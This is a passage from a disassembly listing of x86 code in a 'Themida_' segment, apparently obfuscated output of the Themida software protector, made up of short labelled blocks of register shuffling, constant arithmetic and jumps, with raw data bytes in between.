		jo	loc_5A4C04
		or	ebp, 0DF93974h
		jp	loc_59B666
		neg	ebp
		jg	loc_5AEB97
		push	ecx
		mov	ecx, 3C91C503h
		add	ebp, ecx
		pop	ecx
		xchg	esi, ebp


loc_5A097D:				; CODE XREF: Themida_:00598449j
		pop	eax
		jmp	loc_5A5A5A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89502404h, 4B951E0h,	2D000000h, 35781730h, 3005C801h
		dd 59357817h, 6C2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A09A1:				; CODE XREF: Themida_:0059C1F1j
		pop	edx
		xor	edx, 0E438F93Eh
		push	2B78h
		mov	[esp], ebx
		mov	ebx, edx
		mov	ecx, ebx
		pop	ebx
		jmp	loc_5A6B63
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 34D451DBh, 2EFED81h,	0E5C151F3h, 1ED8104h, 83000000h
		dd 22E9FFEDh
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A09D7:				; CODE XREF: Themida_:005989A1j
		xchg	edi, esi
		not	edi
		xchg	edi, esi
		sub	esi, 8BAB961Eh
		xor	ecx, esi
		pop	esi
		xor	ebx, ecx
		pop	ecx
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	365Ch
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_5A229D
; ---------------------------------------------------------------------------


loc_5A0A05:				; CODE XREF: Themida_:005AC2AAj
		shr	ebp, 2
		jz	loc_5A02B2
		shr	ebp, 1
		jmp	loc_5AB2C7
; ---------------------------------------------------------------------------


loc_5A0A15:				; CODE XREF: Themida_:005AD80Aj
		not	esi
		sub	esi, 0E4F4A5DDh
		add	ecx, esi
		pop	esi
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5A81F8
; ---------------------------------------------------------------------------


loc_5A0A2F:				; CODE XREF: Themida_:0059946Dj
					; Themida_:0059B141j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5AEE14
; ---------------------------------------------------------------------------


loc_5A0A43:				; CODE XREF: Themida_:0059D488j
		not	ecx
		dec	ecx
		jmp	loc_5A0B6A
; ---------------------------------------------------------------------------


loc_5A0A4B:				; CODE XREF: Themida_:005AAEB5j
		sub	edi, ebx
		pop	ebx
		sub	ebx, 4B0436E3h
		push	eax
		push	esi
		push	2611541Eh
		pop	esi
		shr	esi, 5
		xor	esi, 16CA010Dh
		jmp	loc_5AF3E4
; ---------------------------------------------------------------------------


loc_5A0A6A:				; CODE XREF: Themida_:0059B2A3j
		mov	edx, esp
		jmp	loc_59959F
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0EEh
		dd 0F0A7672h, 72BB81h, 984BE900h, 5B54FFFFh, 4B951h, 0C5880000h
		dd 5715EB81h, 0E9530A84h, 0FFFFCB67h, 9923E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0A9E:				; CODE XREF: Themida_:005A5062j
		add	ebx, 4
		jmp	loc_5AEA23
; ---------------------------------------------------------------------------
		db 5Fh,	58h, 0F7h
		dd 2F810FDEh, 8300004Eh, 0F681FFEEh, 0E553FE8Ah, 348BF031h
		dd 6FF28124h, 0F100914h, 0CE7089h, 3E2C100h, 0FF9957E9h
		dd 4C483FFh, 8006E4C0h,	890F8AECh, 6F78h, 85A5E9h, 0EAEB8100h
		db 48h,	1, 14h
; ---------------------------------------------------------------------------


loc_5A0AEF:				; CODE XREF: Themida_:005A8C32j
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	ah, 3Bh
		mov	ch, 70h
		xor	ch, ah
		jmp	loc_599B5E
; ---------------------------------------------------------------------------
		db 31h,	3Ch, 24h
		dd 31243C33h, 8951243Ch, 4C181E1h, 83000000h, 0C8704E9h
		dd 3C895C24h, 595F5124h, 0CB31D931h, 30E9D931h
		db 0CBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0B2B:				; CODE XREF: Themida_:0059A9E8j
		jmp	loc_5AAC5F
; ---------------------------------------------------------------------------


loc_5A0B30:				; CODE XREF: Themida_:005A6A20j
		mov	ecx, [esp]
		jmp	loc_59AFCE
; ---------------------------------------------------------------------------


loc_5A0B38:				; CODE XREF: Themida_:005ABD39j
		sub	eax, 2E8A5AE4h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59B9DD
; ---------------------------------------------------------------------------
		dd 240C8B66h, 4EC81h, 3C890000h, 4EC8124h, 89000000h, 4812424h
		dd 424h, 3771E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0B6A:				; CODE XREF: Themida_:005A0A46j
		not	ecx
		shr	ecx, 1
		jmp	loc_59A21A
; ---------------------------------------------------------------------------


loc_5A0B73:				; CODE XREF: Themida_:00599691j
		jz	loc_5A9805
		xor	esi, 2D21BCABh
		push	4BBDh
		mov	[esp], eax
		push	esi
		add	dword ptr [esp], 23652598h
		pop	eax
		jmp	loc_59C4A3
; ---------------------------------------------------------------------------
		db 5Bh,	30h, 0FEh
		dd 0FE30F730h, 0F9885166h, 0CF88D1F6h, 240C8B66h, 8602C483h
		dd 0B532E9FEh, 5401FFFFh, 34FF0824h, 0C4815A24h, 4, 1DB7E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A0BC5:				; CODE XREF: Themida_:0059B5D8j
		add	ecx, 9470C21h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		jmp	loc_59D9B4
; ---------------------------------------------------------------------------


loc_5A0BD8:				; CODE XREF: Themida_:loc_5A0728j
		shl	edi, 2
		jmp	loc_5A2255
; ---------------------------------------------------------------------------
		dd 0C8BCA88h, 4C48124h,	0C0000000h, 536608E2h, 0B3C4B652h
		dd 5AF300BFh, 0FF8A79E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A0BFD:				; CODE XREF: Themida_:005AAFEDj
		inc	ebp
		jmp	loc_5AEFA8
; ---------------------------------------------------------------------------


loc_5A0C03:				; CODE XREF: Themida_:0059CEEAj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5AEA15
; ---------------------------------------------------------------------------


loc_5A0C0F:				; CODE XREF: Themida_:005A499Ej
		add	ebx, 4
		add	ebx, 4
		jmp	loc_59BB9C
; ---------------------------------------------------------------------------


loc_5A0C1D:				; CODE XREF: Themida_:0059CDEDj
		push	edi
		push	56C80759h
		jmp	loc_59D096
; ---------------------------------------------------------------------------


loc_5A0C28:				; CODE XREF: Themida_:0059CF06j
		push	eax
		mov	al, 0D4h
		add	cl, al
		jmp	loc_59EA91
; ---------------------------------------------------------------------------
		dw 6664h
		dd 8953028Bh, 0BF5751E3h, 15722BC3h, 722BC7B9h,	8BF93115h
		dd 0C481243Ch, 4, 0E959CB01h, 0B5D7h
; ---------------------------------------------------------------------------


loc_5A0C58:				; CODE XREF: Themida_:005AF4E6j
		pop	esi
		push	ecx
		push	ebx
		mov	ebx, 304E7DEDh
		mov	ecx, ebx
		jmp	loc_59844E
; ---------------------------------------------------------------------------
		db 81h
		dd 0A534ADCDh, 6803h, 2C290000h, 0ED815D24h, 0D8004B0Fh
		dd 0AFC6E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0C82:				; CODE XREF: Themida_:0059D7F8j
		push	ecx
		not	byte ptr [esp]
		jmp	loc_59C68B
; ---------------------------------------------------------------------------
		db 53h
		dd 0C381E389h, 4, 4C381h, 8AE90000h, 81FFFF84h,	85FFE9EEh
		dd 5EF3898Eh, 61CDE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A0CAD:				; CODE XREF: Themida_:0059ACA3j
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59C7C9
; ---------------------------------------------------------------------------
aMsx		db '¬ιx{',0
		db 0
; ---------------------------------------------------------------------------


loc_5A0CC7:				; CODE XREF: Themida_:005A478Dj
		mov	ecx, 0B2973A0h
		push	edi
		mov	edi, 1BF6411Eh
		add	edi, 0F53DC723h
		mov	eax, edi
		pop	edi
		xor	eax, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0
		sub	edi, eax
		xchg	eax, edi
		jmp	loc_5AD1B5
; ---------------------------------------------------------------------------


loc_5A0CF1:				; CODE XREF: Themida_:005A7390j
		inc	esi
		jmp	loc_5AE7F1
; ---------------------------------------------------------------------------


loc_5A0CF7:				; CODE XREF: Themida_:005A910Cj
		mov	ebp, 1D1A0CF4h
		xor	ebp, ebx
		pop	ebx
		sub	[esp+4], ebp
		mov	ebp, [esp]
		push	ecx
		jmp	loc_5A405D
; ---------------------------------------------------------------------------
		dd 5C241C33h, 4C681h, 0BA520000h, 4BBB4B83h, 0C103EAC1h
		dd 0EEE905E2h
		db 0E6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0D27:				; CODE XREF: Themida_:005AE26Fj
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 312F1C5Fh
		sub	eax, 6218252h
		jmp	loc_5A27D5
; ---------------------------------------------------------------------------


loc_5A0D40:				; CODE XREF: Themida_:00599538j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_59950A
; ---------------------------------------------------------------------------


loc_5A0D4E:				; CODE XREF: Themida_:0059D354j
		pop	esp
		add	eax, ebx
		push	ebx
		push	esi
		push	57F048CDh
		pop	esi
		sub	esi, 4820CB06h
		jmp	loc_5ACAD0
; ---------------------------------------------------------------------------


loc_5A0D64:				; CODE XREF: Themida_:0059BDFAj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59C426
; ---------------------------------------------------------------------------


loc_5A0D6F:				; CODE XREF: Themida_:005AB495j
		inc	bh
		push	eax
		mov	eax, esp
		jmp	loc_5A896B
; ---------------------------------------------------------------------------


loc_5A0D79:				; CODE XREF: Themida_:005A9048j
		pop	eax
		jmp	loc_5A87B0
; ---------------------------------------------------------------------------


loc_5A0D7F:				; CODE XREF: Themida_:0059B8DFj
		push	esp
		pop	ebp
		jmp	loc_5A9793
; ---------------------------------------------------------------------------


loc_5A0D86:				; CODE XREF: Themida_:005A4582j
		add	eax, 56A27872h
		add	eax, esi
		sub	eax, 56A27872h
		pop	esi
		push	6053h
		mov	[esp], eax
		push	eax
		mov	eax, 226E73DCh
		xor	[esp+4], eax
		pop	eax
		pop	ebp
		jmp	loc_59A6F8
; ---------------------------------------------------------------------------


loc_5A0DAC:				; CODE XREF: Themida_:0059A04Fj
		mov	ecx, 2
		add	eax, ecx
		jmp	loc_5A3544
; ---------------------------------------------------------------------------


loc_5A0DB8:				; CODE XREF: Themida_:005AE302j
		inc	eax
		jmp	loc_5A562A
; ---------------------------------------------------------------------------


loc_5A0DBE:				; CODE XREF: Themida_:0059944Aj
		pop	edx
		jmp	loc_598584
; ---------------------------------------------------------------------------


loc_5A0DC4:				; CODE XREF: Themida_:005A3AFCj
		and	eax, 6E370A4Bh
		jmp	loc_5AA39F
; ---------------------------------------------------------------------------


loc_5A0DCE:				; CODE XREF: Themida_:0059A41Bj
		add	eax, 494674CCh
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_5A0029
; ---------------------------------------------------------------------------


loc_5A0DDF:				; CODE XREF: Themida_:005ACE23j
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5AA628
; ---------------------------------------------------------------------------


loc_5A0DEA:				; CODE XREF: Themida_:005AB40Cj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_59DF40
; ---------------------------------------------------------------------------


loc_5A0DF8:				; CODE XREF: Themida_:005A62CDj
		mov	edx, [esp]
		jmp	loc_5A40B2
; ---------------------------------------------------------------------------


loc_5A0E00:				; CODE XREF: Themida_:005A8C14j
		mov	ecx, 469B2150h
		shl	ecx, 5
		shr	ecx, 3
		shl	ecx, 5
		xor	ecx, 6D2D8926h
		or	ebx, ecx
		jmp	loc_59F927
; ---------------------------------------------------------------------------


loc_5A0E1B:				; CODE XREF: Themida_:005A7AB7j
		pop	eax
		jmp	loc_5A8926
; ---------------------------------------------------------------------------


loc_5A0E21:				; CODE XREF: Themida_:005AEFAAj
		not	edx
		xchg	edx, ebp
		sub	ebp, 4D521BEAh
		add	ebp, 79C201Dh
		xor	ebp, 4683A6DEh
		sub	edx, ebp
		jmp	loc_5A8BAA
; ---------------------------------------------------------------------------
		dw 49E9h
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0E43:				; CODE XREF: Themida_:005ADF85j
		add	ecx, 3419449Dh
		sub	ecx, 413D1BCBh
		jmp	loc_5AAA25
; ---------------------------------------------------------------------------


loc_5A0E54:				; CODE XREF: Themida_:0059AB76j
		jnz	loc_59CC81
		add	ebp, 1837740Eh
		jl	loc_598A1C
		push	esi


loc_5A0E67:				; CODE XREF: Themida_:005AD9D8j
		push	esi
		jmp	loc_5AB5D0
; ---------------------------------------------------------------------------


loc_5A0E6D:				; CODE XREF: Themida_:005AABBAj
		neg	edi
		jbe	loc_5A05B2
		shr	edi, 8
		jp	loc_598BC5
		add	edi, 1B748BEFh
		neg	ebx
		jbe	loc_5A60EB
		and	ebx, 68BB541Dh
		jmp	loc_59B09F
; ---------------------------------------------------------------------------
		db 8Bh
		db 0DEh, 5Eh
; ---------------------------------------------------------------------------


loc_5A0E9A:				; CODE XREF: Themida_:005A9F7Ej
		push	ecx
		mov	ecx, esp
		jmp	loc_5A479D
; ---------------------------------------------------------------------------


loc_5A0EA2:				; CODE XREF: Themida_:005A31D3j
		not	ecx
		push	53A5h
		mov	[esp], ebx
		mov	ebx, 5A657D99h
		xor	ecx, ebx
		jmp	loc_59A60A
; ---------------------------------------------------------------------------


loc_5A0EB8:				; CODE XREF: Themida_:005ABC96j
		add	edx, 56D002BBh
		jmp	loc_59A6B6
; ---------------------------------------------------------------------------


loc_5A0EC3:				; CODE XREF: Themida_:0059EC59j
		add	ebx, ecx
		pop	ecx
		sub	ebx, 21F238B3h
		add	ebx, ebp
		add	ebx, 21F238B3h
		sub	ebx, 24045320h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59F7A4
; ---------------------------------------------------------------------------


loc_5A0EE8:				; CODE XREF: Themida_:005A4CAFj
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A0EF2:				; CODE XREF: Themida_:00599EC9j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5A1BD2
; ---------------------------------------------------------------------------


loc_5A0F04:				; CODE XREF: Themida_:005A89EFj
		add	esp, 4
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		dw 0D101h
		dd 0A5B8505Ah, 81580E1Ch, 0DF18C3E9h, 81C1295Ah, 0DF18C3C1h
		dd 0A101E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0F32:				; CODE XREF: Themida_:loc_59F510j
		and	ebx, 11D108BBh
		jle	loc_5AEF31
		sub	ebx, 1000C09Bh
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5AE121
; ---------------------------------------------------------------------------


loc_5A0F4F:				; CODE XREF: Themida_:0059B3BBj
		pop	ebp
		add	eax, edi
		add	eax, 731926F3h
		sub	eax, 122D24E4h
		jmp	loc_5A11E3
; ---------------------------------------------------------------------------


loc_5A0F61:				; CODE XREF: Themida_:005A486Fj
		push	65B4h
		mov	[esp], edx
		jmp	loc_59DBDB
; ---------------------------------------------------------------------------


loc_5A0F6E:				; CODE XREF: Themida_:005A9FB6j
		not	esi
		push	ebx
		mov	ebx, 0FF7FFEF9h
		xor	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	ecx, esi
		pop	esi
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		jmp	loc_5AD210
; ---------------------------------------------------------------------------
		dd 8A538535h, 58C7891Bh, 0EF81E7D1h, 46D13434h,	81E9FE01h
		dd 5CFFFFDFh, 8704C583h, 5DE9242Ch
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0FAF:				; CODE XREF: Themida_:0059E154j
		push	ax
		mov	al, 7Fh
		jmp	loc_5A067F
; ---------------------------------------------------------------------------


loc_5A0FB8:				; CODE XREF: Themida_:0059BC0Ej
		shr	ebp, 7
		sub	ebp, 0FFFFFFFFh
		add	ebp, 67A722BCh
		sub	ebp, 68A641B2h
		add	ecx, ebp
		pop	ebp
		jmp	loc_5ACEF5
; ---------------------------------------------------------------------------


loc_5A0FD5:				; CODE XREF: Themida_:005A1365j
		add	ecx, 2
		xchg	ecx, [esp]
		mov	esp, [esp]
		div	cl
		movzx	cx, ah
		push	small 5121h
		mov	[esp], cx
		jmp	loc_5AC45B
; ---------------------------------------------------------------------------
		dd 405h, 4C08300h, 5BD3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A1001:				; CODE XREF: Themida_:005A40D8j
		mov	al, 7Eh
		push	1DEAh
		mov	[esp], ecx
		jmp	loc_5A26BC
; ---------------------------------------------------------------------------
		dd 0D15DF8BDh, 5DE92945h, 678EC181h, 42E97E30h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1023:				; CODE XREF: Themida_:005A6F88j
		mov	[esp], esp
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		jmp	loc_5A6AA6
; ---------------------------------------------------------------------------


loc_5A1036:				; CODE XREF: Themida_:005A53C7j
		push	2803h
		jmp	loc_5A4E4F
; ---------------------------------------------------------------------------


loc_5A1040:				; CODE XREF: Themida_:005AC0EFj
		mov	esi, [esp]
		add	esp, 4
		add	ebx, 3D0669E3h
		push	edi
		mov	edi, 0B8C52F8h
		jmp	loc_5A253B
; ---------------------------------------------------------------------------


loc_5A1057:				; CODE XREF: Themida_:0059E1A9j
		mov	esp, [esp]
		or	[esp], eax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24348900h, 4BEh, 0CBE5E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1076:				; CODE XREF: Themida_:0059D16Ej
		jmp	loc_59B394
; ---------------------------------------------------------------------------


loc_5A107B:				; CODE XREF: Themida_:005A8562j
		push	edi
		mov	edi, 38616C74h
		add	eax, edi
		pop	edi
		push	dword ptr [esp]
		jmp	loc_59F625
; ---------------------------------------------------------------------------


loc_5A108C:				; CODE XREF: Themida_:005ACAD2j
		pop	esi
		add	ebx, 0FFFFFFFFh
		push	esi
		mov	esi, 24CE586Fh
		or	ebx, esi
		pop	esi
		add	ebx, 0BF6FF7Ah
		sub	eax, ebx
		jmp	loc_5AD5A5
; ---------------------------------------------------------------------------
		db 52h,	83h, 0ECh
		dd 24248904h, 4BB53h, 32E90000h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A10BB:				; CODE XREF: Themida_:0059A750j
		add	esi, 962DF81Dh
		jmp	loc_5ABE4E
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8268240Ch, 8900006Bh, 0E589242Ch, 191868h, 240C8900h
		dd 0D80287B9h, 0C1E9D120h, 9CE907E9h
		db 0B1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A10EB:				; CODE XREF: Themida_:loc_5AF311j
		push	ebx
		jmp	loc_5A50C9
; ---------------------------------------------------------------------------


loc_5A10F1:				; CODE XREF: Themida_:005A4987j
		pop	ebx
		dec	dl
		not	dl
		sub	dl, 7Fh
		add	al, dl
		pop	edx
		jmp	loc_5A3A8F
; ---------------------------------------------------------------------------


loc_5A1101:				; CODE XREF: Themida_:005A5C61j
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5A6A12
; ---------------------------------------------------------------------------


loc_5A1116:				; CODE XREF: Themida_:005A3755j
		mov	ecx, 4
		jmp	loc_5AB2BA
; ---------------------------------------------------------------------------
		dd 0F04EBC1h, 0FFB62485h, 9F05E9FFh, 1C89FFFFh,	0E2895224h
		db 54h
; ---------------------------------------------------------------------------


loc_5A1135:				; CODE XREF: Themida_:0059D91Cj
		add	esp, 4
		add	ebp, ebx
		push	ebx
		mov	ebx, 16164372h
		push	eax
		jmp	loc_598B0A
; ---------------------------------------------------------------------------
		db 31h,	0F1h, 5Eh
		dd 4941D9F7h, 84F6E981h, 0CA29372Fh, 81FA0159h,	0FB43E6C2h
		dd 0C2815F6Ah, 4, 5C241487h, 5585450h, 4, 0C2B8E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A117A:				; CODE XREF: Themida_:0059B26Cj
		pop	esp
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A1180:				; CODE XREF: Themida_:0059AD5Ej
		dec	cl
		xor	cl, 0CCh
		push	ecx
		mov	ch, 64h
		dec	ch
		dec	ch
		jmp	loc_59EFF0
; ---------------------------------------------------------------------------


loc_5A1191:				; CODE XREF: Themida_:005A7C8Aj
		add	edx, 0EFA7DE0h
		jnz	loc_5A4A06
		inc	edx
		jmp	loc_5A4E59
; ---------------------------------------------------------------------------
		db 5Ch
		db 1, 0C8h, 58h
; ---------------------------------------------------------------------------


loc_5A11A7:				; CODE XREF: Themida_:005995DAj
		xchg	eax, ecx
		jmp	loc_5AEF41
; ---------------------------------------------------------------------------
		db 1, 0C8h, 59h
		dd 0F706E8C1h, 0C1D8F7D8h, 0E99602E8h, 0FFFFBA1Ah
; ---------------------------------------------------------------------------


loc_5A11C0:				; CODE XREF: Themida_:0059D411j
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], eax
		push	22C96EF5h
		mov	eax, [esp]
		jmp	loc_5A247B
; ---------------------------------------------------------------------------


loc_5A11D6:				; CODE XREF: Themida_:loc_5A1652j
		sub	edi, 0E1FB5E3Dh
		mov	edx, edi
		jmp	loc_5A4CB4
; ---------------------------------------------------------------------------


loc_5A11E3:				; CODE XREF: Themida_:005A0F5Cj
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		test	ecx, eax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A120C:				; CODE XREF: Themida_:00598F6Cj
		mov	cl, 0FAh
		and	cl, 94h
		shl	cl, 1
		sub	cl, 34h
		xor	cl, 43h
		jmp	loc_5ADCE5
; ---------------------------------------------------------------------------


loc_5A121E:				; CODE XREF: Themida_:005A1C73j
		mov	dh, 0EDh
		jmp	loc_5A5EF7
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 4EC8124h, 0E9000000h, 6DC5h
; ---------------------------------------------------------------------------


loc_5A1234:				; CODE XREF: Themida_:005AAB59j
		xchg	edx, [esp]
		pop	esp
		sub	al, cl
		mov	cx, [esp]
		add	esp, 2
		sub	al, 0A1h
		push	small 41C2h
		mov	[esp], bx
		push	58B9h
		jmp	loc_5A40CD
; ---------------------------------------------------------------------------


loc_5A1255:				; CODE XREF: Themida_:005A8BDAj
		inc	ch
		jge	loc_5ABBEB
		inc	ch
		jnp	loc_5AA8C2
		mov	dh, bh
		mov	ebx, ebx


loc_5A1269:				; CODE XREF: Themida_:loc_59C93Fj
		jmp	loc_5A8397
; ---------------------------------------------------------------------------


loc_5A126E:				; CODE XREF: Themida_:0059A73Fj
		and	[edi+1Ch], ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A36FE
; ---------------------------------------------------------------------------


loc_5A127F:				; CODE XREF: Themida_:0059E18Cj
					; Themida_:005A1FC8j
		or	eax, 3C1B7417h
		xor	eax, 6ED4B40h
		jmp	loc_5AAB1B
; ---------------------------------------------------------------------------


loc_5A128E:				; CODE XREF: Themida_:005AB4A6j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	edx
		mov	edx, 2FCF1890h
		push	edi
		push	esp
		pop	edi
		push	ebx
		mov	ebx, 6ACC206Bh
		shl	ebx, 1
		xor	ebx, 5D4037E3h
		xor	ebx, 88D87731h
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_59FF3B
; ---------------------------------------------------------------------------


loc_5A12D1:				; CODE XREF: Themida_:005ADAC8j
		pop	ebx
		pop	eax
		push	66BCh
		mov	[esp], ecx
		mov	ecx, 43B6398Fh
		jmp	loc_5A775C
; ---------------------------------------------------------------------------


loc_5A12E5:				; CODE XREF: Themida_:005A6FEDj
					; Themida_:005AB0EAj
		push	edi
		mov	edi, ecx
		jmp	loc_599607
; ---------------------------------------------------------------------------


loc_5A12ED:				; CODE XREF: Themida_:005A4FBBj
		pop	esp
		jmp	loc_5A8692
; ---------------------------------------------------------------------------


loc_5A12F3:				; CODE XREF: Themida_:0059ABD8j
		and	ch, 0C7h
		add	ch, 0F0h
		dec	ch
		jmp	loc_59E14C
; ---------------------------------------------------------------------------
		dd 8030CD80h, 0E82845F5h, 886FE959h, 79E9FFFFh
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1313:				; CODE XREF: Themida_:005A8EBFj
		mov	eax, [esp]
		add	esp, 4
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_598EAF
; ---------------------------------------------------------------------------
		dd 0B17492BBh, 5EF3315Ah, 0E95BDE29h, 0FFFFBDB0h
; ---------------------------------------------------------------------------


loc_5A133C:				; CODE XREF: Themida_:005AE8B0j
		pop	esi
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_59F3C6
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8904ECh, 95B6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1356:				; CODE XREF: Themida_:0059C474j
					; Themida_:005A235Cj
		pop	esi
		push	ebp
		mov	ebp, 2A52E52h
		jmp	loc_59D38C
; ---------------------------------------------------------------------------


loc_5A1362:				; CODE XREF: Themida_:0059C584j
		add	ecx, ebp
		pop	ebp
		jmp	loc_5A0FD5
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48324h, 898EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A1375:				; CODE XREF: Themida_:005A05D9j
		sub	edx, edi
		pop	edi
		add	edx, 563E0ACDh
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5ABFDC
; ---------------------------------------------------------------------------


loc_5A138F:				; CODE XREF: Themida_:005AC95Cj
					; Themida_:005AE905j
		imul	ecx
		jmp	loc_5A76BE
; ---------------------------------------------------------------------------


loc_5A1396:				; CODE XREF: Themida_:005A9C96j
		shr	ecx, 4
		js	loc_5A2534
		and	ecx, 3E0D1955h
		dec	ecx
		jmp	loc_5A471B
; ---------------------------------------------------------------------------


loc_5A13AB:				; CODE XREF: Themida_:005A34CAj
		push	edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5AB4AB
; ---------------------------------------------------------------------------


loc_5A13BF:				; CODE XREF: Themida_:0059A78Fj
		mov	eax, [ecx]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_598CD9
; ---------------------------------------------------------------------------


loc_5A13CA:				; CODE XREF: Themida_:005A71C9j
		xchg	ebx, edx
		push	ebx
		jmp	loc_5AD440
; ---------------------------------------------------------------------------


loc_5A13D2:				; CODE XREF: Themida_:005A84ECj
		push	4B0Ch
		jmp	loc_59BEA6
; ---------------------------------------------------------------------------
		dd 2963F581h, 0E9452206h, 0FFFFF87Fh, 81240C8Bh, 4C4h
		dd 24048700h, 0FF9145E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A13F9:				; CODE XREF: Themida_:005A6A8Dj
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5A1E01
; ---------------------------------------------------------------------------


loc_5A1406:				; CODE XREF: Themida_:0059A027j
					; Themida_:005ADBFAj
		pop	ebp
		jmp	loc_5AA856
; ---------------------------------------------------------------------------


loc_5A140C:				; CODE XREF: Themida_:005A6066j
					; Themida_:005A9910j
		add	al, 85h
		and	al, 9Eh
		jmp	loc_5AC8F3
; ---------------------------------------------------------------------------


loc_5A1415:				; CODE XREF: Themida_:005AD354j
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ebx
		mov	ebx, 7B151069h
		push	edx
		push	2255h
		mov	[esp], edi
		push	1B4A617Eh
		mov	edi, [esp]
		add	esp, 4
		dec	edi
		jnz	loc_5A1652
		jmp	loc_5ACFD9
; ---------------------------------------------------------------------------
		dd 8051EA80h, 0C2FED7CAh
		db 0FEh, 0C2h
; ---------------------------------------------------------------------------


loc_5A144A:				; CODE XREF: Themida_:005A2B34j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 78E4A62h
		push	ebp
		jmp	loc_5A60DE
; ---------------------------------------------------------------------------


loc_5A145F:				; CODE XREF: Themida_:0059EE42j
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 2
		sub	edx, 1A9E3C29h
		jmp	loc_5A7489
; ---------------------------------------------------------------------------


loc_5A1478:				; CODE XREF: Themida_:005A4123j
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59EA2D
; ---------------------------------------------------------------------------


loc_5A1485:				; CODE XREF: Themida_:0059C7A4j
		pop	esp
		jmp	loc_598D08
; ---------------------------------------------------------------------------


loc_5A148B:				; CODE XREF: Themida_:005A76ECj
					; Themida_:005A78ABj
		push	551Dh
